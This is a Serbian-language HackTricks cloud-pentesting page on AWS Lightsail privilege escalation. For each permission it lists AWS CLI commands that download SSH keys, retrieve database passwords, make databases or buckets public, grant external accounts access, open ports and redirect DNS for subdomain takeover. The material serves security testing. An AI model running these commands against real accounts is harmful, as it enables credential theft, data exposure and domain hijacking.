# AWS - Lightsail Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Lightsail

Za više informacija o Lightsail, pogledajte:

{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}

> [!WARNING]
> Važno je napomenuti da Lightsail **ne koristi IAM uloge koje pripadaju korisniku** već AWS upravljanom nalogu, tako da ne možete zloupotrebiti ovu uslugu za privesc. Međutim, **osetljivi podaci** kao što su kod, API ključevi i informacije o bazi podataka mogli bi se pronaći u ovoj usluzi.

### `lightsail:DownloadDefaultKeyPair`

Ova dozvola će vam omogućiti da dobijete SSH ključeve za pristup instancama:
```
aws lightsail download-default-key-pair
```
**Potencijalni uticaj:** Pronaći osetljive informacije unutar instanci.

### `lightsail:GetInstanceAccessDetails`

Ova dozvola će vam omogućiti da generišete SSH ključeve za pristup instancama:
```bash
aws lightsail get-instance-access-details --instance-name <instance_name>
```
**Potencijalni uticaj:** Pronaći osetljive informacije unutar instanci.

### `lightsail:CreateBucketAccessKey`

Ova dozvola će vam omogućiti da dobijete ključ za pristup kanti:
```bash
aws lightsail create-bucket-access-key --bucket-name <name>
```
**Potencijalni uticaj:** Pronaći osetljive informacije unutar kante.

### `lightsail:GetRelationalDatabaseMasterUserPassword`

Ova dozvola će vam omogućiti da dobijete akreditive za pristup bazi podataka:
```bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
```
**Potencijalni uticaj:** Pronaći osetljive informacije unutar baze podataka.

### `lightsail:UpdateRelationalDatabase`

Ova dozvola će vam omogućiti da promenite lozinku za pristup bazi podataka:
```bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
```
Ako baza podataka nije javna, možete je takođe učiniti javnom sa ovim dozvolama sa
```bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
```
**Potencijalni uticaj:** Pronaći osetljive informacije unutar baze podataka.

### `lightsail:OpenInstancePublicPorts`

Ova dozvola omogućava otvaranje portova za Internet.
```bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
```
**Potencijalni uticaj:** Pristup osetljivim portovima.

### `lightsail:PutInstancePublicPorts`

Ova dozvola omogućava otvaranje portova za Internet. Imajte na umu da će poziv zatvoriti bilo koji port koji nije naveden.
```bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
```
**Potencijalni uticaj:** Pristup osetljivim portovima.

### `lightsail:SetResourceAccessForBucket`

Ova dozvola omogućava pristup instancama ka bucket-u bez dodatnih kredencijala.
```bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
```
**Potencijalni uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama.

### `lightsail:UpdateBucket`

Sa ovom dozvolom, napadač bi mogao da dodeli svoj AWS nalog pristup za čitanje kanticama ili čak da učini kante javnim za sve:
```bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
```
**Potencijalni uticaj:** Potencijalni novi pristup kanticama sa osetljivim informacijama.

### `lightsail:UpdateContainerService`

Sa ovim dozvolama, napadač bi mogao da omogući pristup privatnim ECR-ima iz servisa kontejnera.
```bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
```
**Potencijalni uticaj:** Dobijanje osetljivih informacija iz privatnog ECR

### `lightsail:CreateDomainEntry`

Napadač sa ovom dozvolom mogao bi da kreira poddomen i usmeri ga na svoju IP adresu (preuzimanje poddomena), ili da napravi SPF zapis koji mu omogućava da lažira e-poštu sa domena, ili čak da postavi glavni domen na svoju IP adresu.
```bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
**Potencijalni uticaj:** Preuzimanje domena

### `lightsail:UpdateDomainEntry`

Napadač sa ovom dozvolom mogao bi da kreira poddomen i usmeri ga na svoju IP adresu (preuzimanje poddomena), ili da napravi SPF zapis koji mu omogućava da lažira emailove sa domena, ili čak da postavi glavni domen na svoju IP adresu.
```bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
```
**Potencijalni uticaj:** Preuzimanje domena

{{#include ../../../banners/hacktricks-training.md}}
